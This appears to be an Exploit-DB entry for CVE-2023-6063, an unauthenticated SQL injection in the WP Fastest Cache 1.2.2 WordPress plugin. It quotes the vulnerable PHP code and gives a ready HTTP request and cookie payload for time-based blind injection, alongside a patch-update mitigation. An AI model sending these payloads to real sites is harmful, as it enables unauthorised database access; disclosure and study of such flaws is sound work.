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vendor:
WP Fastest Cache
by:
Meryem Taşkın
6.1
CVSS
HIGH
SQL Injection
89
CWE
Product Name: WP Fastest Cache
Affected Version From: 1.2.2002
Affected Version To: 1.2.2002
Patch Exists: YES
Related CWE: CVE-2023-6063
CPE: a:wp_fastest_cache:wp_fastest_cache:1.2.2
Metasploit:
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Platforms Tested: WordPress
2023

Unauthenticated SQL Injection in WP Fastest Cache 1.2.2

An SQL injection vulnerability was found in WP Fastest Cache plugin version 1.2.2. This vulnerability allows an unauthorized attacker to execute SQL queries on the system.

Mitigation:

To mitigate this vulnerability, users should update their WP Fastest Cache plugin to a patched version.
Source

Exploit-DB raw data:

# Exploit Title: Unauthenticated SQL Injection in WP Fastest Cache 1.2.2
# Date: 14.11.2023
# Exploit Author: Meryem Taşkın
# Vendor Homepage: https://www.wpfastestcache.com/
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Version: WP Fastest Cache 1.2.2
# Tested on: WP Fastest Cache 1.2.2
# CVE: CVE-2023-6063
 
## Description
An SQL injection vulnerability exists in version 1.2.2 of the WP Fastest Cache plugin, allowing an attacker to trigger SQL queries on the system without authentication.
 
## Vuln Code
 
public function is_user_admin(){
            global $wpdb;
            foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
                if(preg_match("/wordpress_logged_in/i", $cookie_key)){ 
                    $username = preg_replace("/^([^\|]+)\|.+/", "$1", $cookie_value); 
                    break;
                }
            }
            if(isset($username) && $username){            
                $res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value`
                                       FROM `$wpdb->users`
                                       INNER JOIN `$wpdb->usermeta`
                                       ON `$wpdb->users`.`user_login` = \"$username\" AND  # $username varible is not escaped vulnerable to SQL injection
                                       .....
 
## Exploit
GET / HTTP/1.1
Cookie: wordpress_logged_in_1=%22%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%285%29%29A%29%20AND%20%221%22%3D%221
Host: meryem.local
 
## Parameter: Cookie #1* ((custom) HEADER)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: wordpress_logged_in_dsadasdasd=" AND (SELECT 3809 FROM (SELECT(SLEEP(5)))RDVP) AND "HQDg"="HQDg
---
 
## References
- [WPScan Blog Post](https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/)
- [WPScan Vulnerability](https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/)
- [CVE-2023-6063](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6063)
 
## Credits
- Original Researcher: Alex Sanford
- PoC: Meryem Taşkın